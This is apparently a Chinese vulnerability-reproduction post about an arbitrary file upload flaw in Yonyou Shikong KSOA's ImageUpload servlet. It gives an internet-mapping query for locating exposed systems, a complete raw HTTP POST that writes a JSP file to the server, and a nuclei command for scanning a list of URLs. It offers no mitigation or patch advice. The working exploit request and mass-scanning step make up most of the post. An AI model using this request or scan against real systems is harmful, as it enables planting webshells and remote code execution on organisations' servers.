漏洞描述

用友时空KSOA是建立在SOA理念指导下研发的新一代产品，是根据流通企业前沿的IT需求推出的统一的IT基础架构，它可以让流通企业各个时期建立的IT系统之间彼此轻松对话，帮助流通企业保护原有的IT投资，简化IT管理，提升竞争能力，确保企业整体的战略目标以及创新活动的实现。
 

网络测绘

app="用友-时空KSOA"

漏洞复现

POST http://ip:port/servlet/com.sksoft.bill.ImageUpload?filepath=/&filename=111111.jsp&_ZQA_ID=d0d60ec54924481c HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data; boundary=---------------------------122739796041499160471980406311

Content-Length: 51

Origin: null

Connection: close

Upgrade-Insecure-Requests: 1



<% out.println("bea86d66a5278f9e6fa1112d2e2f1"); %>

接下来就是漫长的信息收集阶段：

nuclei-pocs方法

nuclei -t yonyou_KSOA_ImageUpload_rce.yaml -l url.txt

感谢您的来访，获取更多精彩文章请收藏本站。